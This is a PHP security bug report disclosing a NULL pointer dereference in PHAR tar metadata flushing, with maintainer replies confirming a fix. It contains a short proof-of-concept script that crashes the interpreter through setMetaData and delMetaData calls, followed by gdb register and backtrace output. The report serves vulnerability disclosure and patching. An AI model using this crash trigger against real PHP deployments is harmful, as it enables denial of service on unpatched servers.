php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #71391 NULL Pointer Dereference in phar_tar_setupmetadata()
Submitted: 2016-01-16 18:46 UTC Modified: 2016-02-02 03:17 UTC
From: manhluat at vnsecurity dot net Assigned: stas
Status: Closed Package: PHAR related
PHP Version: 5.5.31 OS: Linux, Mac
Private report: No CVE-ID:
 [2016-01-16 18:46 UTC] manhluat at vnsecurity dot net
Description:
------------
There is a NULL Pointer Dereference issue in .tar's metadata parsing.



----------------------------------------------
phar_object.c:

PHP_METHOD(Phar, delMetadata)
{
...

	if (phar_obj->arc.archive->metadata) {
		zval_ptr_dtor(&phar_obj->arc.archive->metadata);
		phar_obj->arc.archive->metadata = NULL;
		phar_obj->arc.archive->is_modified = 1;
		phar_flush(phar_obj->arc.archive, 0, 0, 0, &error TSRMLS_CC);
...
}

----------------------------------------------
phar.c:

int phar_flush(phar_archive_data *phar, char *user_stub, long len, int convert, char **error TSRMLS_DC) /* {{{ */
{
...
	if (phar->is_tar) {
		return phar_tar_flush(phar, user_stub, len, convert, error TSRMLS_CC);
	}

----------------------------------------------
tar.c:
static int phar_tar_setupmetadata(void *pDest, void *argument TSRMLS_DC) /* {{{ */
{
...
		if (entry->filename_len == sizeof(".phar/.metadata.bin")-1 && !memcmp(entry->filename, ".phar/.metadata.bin", sizeof(".phar/.metadata.bin")-1)) {
			return phar_tar_setmetadata(entry->phar->metadata, entry, error TSRMLS_CC);
...

----------------------------------------------


If metadata already exists on this PharData file, it will assign NULL to phar_obj->arc.archive->metadata.

a bit later, phar_tar_flush is called then, which try to call phar_tar_setupmetadata()

In phar_tar_setupmetadata, it will then call phar_tar_setmetadata(entry->phar->metadata, entry, error TSRMLS_CC);

Since entry->phar->metadata has been assigned by NULL before. then it will crash as expected.



* Notice
- Tested on Linux, Mac. PoC should work on Windows as well, i believe.


Test script:
---------------
<?php 

$fname = "poc.tar";

$p = new PharData($fname);

if ($argc<2){

echo "Make .tar file\n";
$p->addFromString("something","something");
$p->setMetaData("bbbb");

} else {

echo "Trigger...\n";
$p->delMetaData();

}
?>

Expected result:
----------------
root@ubuntu:~/test/php-5.6.17/hihi# ../sapi/cli/php test.php
Make .tar file
root@ubuntu:~/test/php-5.6.17/hihi# ../sapi/cli/php test.php go
Trigger...
Segmentation fault (core dumped)
root@ubuntu:~/test/php-5.6.17/hihi# 

Actual result:
--------------
gdb-peda$ r test.php go
Starting program: /root/test/php-5.6.17/sapi/cli/php test.php go
Trigger...

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xf7bdd2dc --> 0x10 
EBX: 0x8804000 --> 0x8803dd8 --> 0x1 
ECX: 0x4 
EDX: 0x0 
ESI: 0xf7bd9428 --> 0x0 
EDI: 0x881c560 --> 0x0 
EBP: 0xf7bd9428 --> 0x0 
ESP: 0xffff9b80 --> 0x8820a58 --> 0x1 
EIP: 0x821e9d0 (<php_var_serialize_intern+112>: cmp    BYTE PTR [edx+0xc],0x5)
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x821e9c8 <php_var_serialize_intern+104>:    mov    eax,DWORD PTR [esp+0x28]
   0x821e9cc <php_var_serialize_intern+108>:    test   eax,eax
   0x821e9ce <php_var_serialize_intern+110>:    je     0x821ea48 <php_var_serialize_intern+232>
=> 0x821e9d0 <php_var_serialize_intern+112>:    cmp    BYTE PTR [edx+0xc],0x5
   0x821e9d4 <php_var_serialize_intern+116>:    mov    DWORD PTR [esp+0x30],edx
   0x821e9d8 <php_var_serialize_intern+120>:    jne    0x821ea68 <php_var_serialize_intern+264>
   0x821e9de <php_var_serialize_intern+126>:    mov    eax,DWORD PTR [edx+0x4]
   0x821e9e1 <php_var_serialize_intern+129>:    mov    eax,DWORD PTR [eax+0x48]
[------------------------------------stack-------------------------------------]
0000| 0xffff9b80 --> 0x8820a58 --> 0x1 
0004| 0xffff9b84 --> 0xc ('\x0c')
0008| 0xffff9b88 --> 0x109 
0012| 0xffff9b8c --> 0x8289e8b (<_zend_mm_alloc_int+411>:       mov    ecx,DWORD PTR [esp+0x14])
0016| 0xffff9b90 --> 0x5 
0020| 0xffff9b94 --> 0xf7d5a74f (<__memcpy_ssse3_rep+31>:       add    ebx,0x37471)
0024| 0xffff9b98 --> 0x8804000 --> 0x8803dd8 --> 0x1 
0028| 0xffff9b9c --> 0x82c11f6 (<_zend_hash_index_update_or_next_insert+214>:   mov    ecx,DWORD PTR [esp+0xc])
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
php_var_serialize_intern (buf=buf@entry=0xf7bd9428, struc=0x0, var_hash=0xf7bdd2dc) at /root/test/php-5.6.17/ext/standard/var.c:716
716             if (var_hash && php_add_var_hash(var_hash, struc, (void *) &var_already TSRMLS_CC) == FAILURE) {
gdb-peda$ bt
#0  php_var_serialize_intern (buf=buf@entry=0xf7bd9428, struc=0x0, var_hash=0xf7bdd2dc) at /root/test/php-5.6.17/ext/standard/var.c:716
#1  0x08224e5e in php_var_serialize (buf=buf@entry=0xf7bd9428, struc=struc@entry=0xffff9cd0, var_hash=var_hash@entry=0xffff9cbc) at /root/test/php-5.6.17/ext/standard/var.c:905
#2  0x0815adae in phar_tar_setmetadata (metadata=0x0, entry=entry@entry=0xf7bd93dc, error=error@entry=0xffffa05c) at /root/test/php-5.6.17/ext/phar/tar.c:848
#3  0x0815b197 in phar_tar_setupmetadata (pDest=0xf7bd93dc, argument=0xffff9e0c) at /root/test/php-5.6.17/ext/phar/tar.c:883
#4  0x082c1b59 in zend_hash_apply_with_argument (ht=ht@entry=0xf7bd9b28, apply_func=apply_func@entry=0x815af60 <phar_tar_setupmetadata>, argument=argument@entry=0xffff9e0c) at /root/test/php-5.6.17/Zend/zend_hash.c:666
#5  0x0815b456 in phar_tar_flush (phar=phar@entry=0xf7bd9afc, user_stub=0x0, len=<optimized out>, len@entry=0x0, defaultstub=defaultstub@entry=0x0, error=error@entry=0xffffa05c) at /root/test/php-5.6.17/ext/phar/tar.c:1165
#6  0x08172716 in phar_flush (phar=0xf7bd9afc, user_stub=user_stub@entry=0x0, len=len@entry=0x0, convert=convert@entry=0x0, error=error@entry=0xffffa05c) at /root/test/php-5.6.17/ext/phar/phar.c:2584
#7  0x08176286 in zim_Phar_delMetadata (ht=0x0, return_value=0xf7bd8a00, return_value_ptr=0xf7bbf084, this_ptr=0xf7bd8a1c, return_value_used=0x0) at /root/test/php-5.6.17/ext/phar/phar_object.c:4091
#8  0x083615c0 in zend_do_fcall_common_helper_SPEC (execute_data=<optimized out>) at /root/test/php-5.6.17/Zend/zend_vm_execute.h:558
#9  0x082f1446 in execute_ex (execute_data=execute_data@entry=0xf7bbf140) at /root/test/php-5.6.17/Zend/zend_vm_execute.h:363
#10 0x0835f272 in zend_execute (op_array=0xf7bd8f40) at /root/test/php-5.6.17/Zend/zend_vm_execute.h:388
#11 0x082b4c1e in zend_execute_scripts (type=type@entry=0x8, retval=retval@entry=0x0, file_count=file_count@entry=0x3) at /root/test/php-5.6.17/Zend/zend.c:1341
#12 0x0824ef3e in php_execute_script (primary_file=primary_file@entry=0xffffc438) at /root/test/php-5.6.17/main/main.c:2597
#13 0x08363473 in do_cli (argc=argc@entry=0x3, argv=argv@entry=0x8820888) at /root/test/php-5.6.17/sapi/cli/php_cli.c:994
#14 0x08063f04 in main (argc=0x3, argv=0x8820888) at /root/test/php-5.6.17/sapi/cli/php_cli.c:1378
#15 0xf7c40a83 in __libc_start_main (main=0x80639f0 <main>, argc=0x3, argv=0xffffd744, init=0x836c520 <__libc_csu_init>, fini=0x836c590 <__libc_csu_fini>, rtld_fini=0xf7feb180 <_dl_fini>, stack_end=0xffffd73c) at libc-start.c:287
#16 0x08063f8a in _start ()
gdb-peda$ 

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-01-17 04:29 UTC] stas@php.net
-PHP Version: 5.6.17 +PHP Version: 5.5.31
 [2016-01-17 04:29 UTC] stas@php.net
Also happens on 5.5
 [2016-01-17 04:45 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-01-17 04:45 UTC] stas@php.net
The fix is in security repo under 1c1b8b69982375700d4b011eb89ea48b66dbd5aa and in https://gist.github.com/smalyshev/673e1604f965e3d8a8dd. Please check.
 [2016-01-17 05:24 UTC] manhluat at vnsecurity dot net
well, the issue is fixed.
 [2016-01-17 05:29 UTC] stas@php.net
Thanks, the fix will be released with next PHP version (sometime early February).
 [2016-02-02 03:19 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=1c1b8b69982375700d4b011eb89ea48b66dbd5aa
Log: Fix bug #71391: NULL Pointer Dereference in phar_tar_setupmetadata()
 [2016-02-02 03:19 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-02-02 03:36 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=1c1b8b69982375700d4b011eb89ea48b66dbd5aa
Log: Fix bug #71391: NULL Pointer Dereference in phar_tar_setupmetadata()
 [2016-02-02 04:46 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=1c1b8b69982375700d4b011eb89ea48b66dbd5aa
Log: Fix bug #71391: NULL Pointer Dereference in phar_tar_setupmetadata()
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Tue Aug 29 15:01:52 2017 UTC